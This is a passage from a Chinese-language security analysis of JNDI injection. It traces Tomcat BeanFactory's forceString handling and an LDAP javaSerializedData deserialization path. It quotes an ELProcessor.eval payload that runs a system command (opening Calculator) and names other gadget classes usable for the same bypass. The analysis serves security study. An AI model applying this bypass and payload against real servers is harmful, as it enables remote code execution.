NamingException ne;
try {
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName(); // "javax.el.ELProcessor"
Class<?> beanClass = null;
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException var25) {
var25.printStackTrace();
}
}
...
|
继续向下,利用ELProcessor创建新实例bean,并且取出attrs中forceString,如果取到了,getContent()方法拿到KINGX=eval,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
...
if (beanClass == null) { // ELProcessor.class
throw new NamingException("Class not found: " + beanClassName);
} else {
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.newInstance(); // ELProcessor
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();
String value;
String propName;
int i;
if (ra != null) {
value = (String)ra.getContent(); // "KINGX=eval"
Class<?>[] paramTypes = new Class[]{String.class};
String[] arr$ = value.split(",");
i = arr$.length; // 1
...
|
继续向下,i为1进入for循环,param取到KINGX=eval,然后查找"=",构建propName为eval,param为KINGX,然后调用getMethod方法,也就是反射获取ELProcessor的eval方法,存入forced
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
...
for(int i$ = 0; i$ < i; ++i$) {
String param = arr$[i$]; // "KINGX=eval"
param = param.trim();
int index = param.indexOf(61);
if (index >= 0) {
propName = param.substring(index + 1).trim(); // "eval"
param = param.substring(0, index).trim(); // "KINGX"
} else {
propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); // "setKINGX=eval"
}
try {
forced.put(param, beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + propName + " not found for property " + param);
}
}
...
|
继续向下,ref.getAll()拿到所有addrs,进入循环,循环到我们定义的KINGX时跳出,也就是此时的ra,将写的一串恶意字符串赋值给value,从forced中取出eval method,然后invoke反射调用,也就是说最终执行ELProcessor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open', '-a', 'Calculator'].start())\")")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
Enumeration<RefAddr> e = ref.getAll();
while(true) {
while(true) {
do {
do {
do {
do {
do {
if (!e.hasMoreElements()) {
return bean;
}
ra = (RefAddr)e.nextElement();
propName = ra.getType();
} while(propName.equals("factory"));
} while(propName.equals("scope"));
} while(propName.equals("auth"));
} while(propName.equals("forceString"));
} while(propName.equals("singleton"));
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray);
} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
}
}
|
基于BeanFactory,按照这个思路可以扩充出其他很多的利用,可以找到其他的一些同理利用,只要在forceString中给方法名然后插入执行的代码即可(MLet、GroovyClassLoader、SnakeYaml等),这边就不一一分析了,原理都通
BeanFactory的利用的绕过思路就是使用一个本地类来加载导致,除了BeanFactory还有其他类可以利用么
这样的类需要满足这样的条件:
- 实现javax.naming.spi.ObjectFactory的接口类
- 带getObjectIntance方法
并且最好还是在比较常见的包中(这边暂时不分析了
LDAP serialize
分析时我们注意到下面这个位置,他会检查传入设计的一些属性是否设置了javaSerializedData,如果设置了就会调用deserializeObejct反序列化去处理我们传入的javaSerializedData
1
2
3
4
5
6
7
8
|
static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
|
需要目标环境中有配合的反序列化gadget
注意高版本添加了校验,判断VersionHelper.isSerialDataAllowed(),返回trustSerialData,默认为false
参考
https://tttang.com/archives/1405
https://paper.seebug.org/942